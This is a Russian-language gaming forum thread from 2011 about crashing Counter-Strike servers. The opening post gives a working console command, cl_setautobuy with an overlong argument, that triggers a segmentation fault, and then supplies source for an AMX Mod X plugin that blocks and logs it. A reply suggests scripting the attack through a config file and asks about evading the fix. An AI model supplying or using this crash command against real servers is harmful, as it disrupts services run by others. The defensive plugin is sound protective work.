|
Ложим сервер с ошибкой сегментирования. - Статьи и описания по Counter-Strike - Статьи, руководства и описания по игре Counter-Strike |
23.01.2011, 15:42
|
#1
|
|
|
|
Пехотинец
|
Регистрация: 02.12.2010
Сообщений: 68
Популярность: -38
Сказал(а) спасибо: 51
Поблагодарили 166 раз(а) в 85 сообщениях
|
Ложим сервер с ошибкой сегментирования.
Может это и баян, но на 95% серверах рабочий баян
И так, дело в AutoBuy, но нееееет, не тот баян AutoBuy'я.
Вам нужно быть живым. Прописываете в консоле команду: cl_setautobuy DOWN 3274832423482737ololololollolo873286 - сервер отключился
Главное, чтобы команда имела такой вид: cl_setautobuy <слово из 4 букв> <слово из 32 букв или более>. Ещё есть команда: cl_setrebuy, кажется работает по такому же принципу.
Итак, у вас на сервере есть этот баг, и что делать? Как защититься? А вот так.
Это исходник плагина, то есть .sma часть.
- Берете это всё в текстовый документ (то что ниже).
- Сохраняете например cl_setautobuy_fix.sma
- Кидаете в cstrike\addons\amxmodx\scripting.
- Потом в cstrike\addons\amxmodx\scripting файл cl_setautobuy_fix.sma переносим на compile.exe, и после некоторого времени забираем в папке cstrike\addons\amxmodx\scripting\compiled готовый .amxx плагин. Как установить плагин вы знаете.
PHP код:
#include <amxmodx>
#define PLUGIN_NAME "Fix AutoBuy Bug" #define PLUGIN_VERSION "1.1" #define PLUGIN_AUTHOR "PomanoB & UFPS.Team"
new g_logfile[64]
public plugin_init( ) { register_plugin( PLUGIN_NAME, PLUGIN_VERSION, PLUGIN_AUTHOR )
register_clcmd( "cl_setautobuy", "cmd_check" ) register_clcmd( "cl_setrebuy", "cmd_check" )
get_time ( "autobuy_%Y%m.log", g_logfile, charsmax ( g_logfile ) ) }
public cmd_check( id ) { static arg[512], args, i args = read_argc( )
for( i = 1; i < args; ++i ) { read_argv( i, arg, charsmax( arg ) )
if( is_cmd_long( arg, charsmax( arg ) ) ) { log_autobuy( id ) return PLUGIN_HANDLED } }
return PLUGIN_CONTINUE }
stock bool:is_cmd_long( string[], const len ) { static cmd[512]
while( strlen( string ) ) { strtok( string, cmd, charsmax( cmd ), string, len , ' ', 1 )
if( strlen( cmd ) > 31 ) return true }
return false }
stock log_autobuy( id ) { static name[32], steamid[44], ip[16] get_user_ip( id, ip, charsmax( ip ), 1 ) get_user_authid( id, steamid, charsmax( steamid ) ) get_user_name( id, name, charsmax( name ) )
log_to_file( g_logfile, "Autobuy bug use: %s [%s] <%s>", name, ip, steamid ) }
ДА, есть в интернете AutoBuy Fix #3, но я его раскомпилировал и увидел вредоносный код. Не советую использовать AutoBuy Fix #3 на своем сервере.
________________
Помог? Поставь спасибку в конце концов
Последний раз редактировалось ШtepSeLb; 23.01.2011 в 16:34.
|
|
|
3 пользователя(ей) сказали cпасибо:
|
|
24.01.2011, 16:17
|
#2
|
|
|
|
Сержант
|
Регистрация: 07.12.2009
Сообщений: 125
Популярность: 827
Золото Zhyk.Ru: 50
Сказал(а) спасибо: 312
Поблагодарили 295 раз(а) в 107 сообщениях
|
Re: Ложим сервер с ошибкой сегментирования.
• можно создать конфиг down.cfg а потом писать exec down.cfg
• рекомендую использовать с HLProtector`oм
• исходя из плагина баг можно обойти изменив команду cl_setautobuy( -как?-).
|
|
|
Ваши права в разделе
|
Вы не можете создавать новые темы
Вы не можете отвечать в темах
Вы не можете прикреплять вложения
Вы не можете редактировать свои сообщения
HTML код Выкл.
|
|
|
Заявление об ответственности / Список мошенников
Часовой пояс GMT +4, время: 23:11.
|
|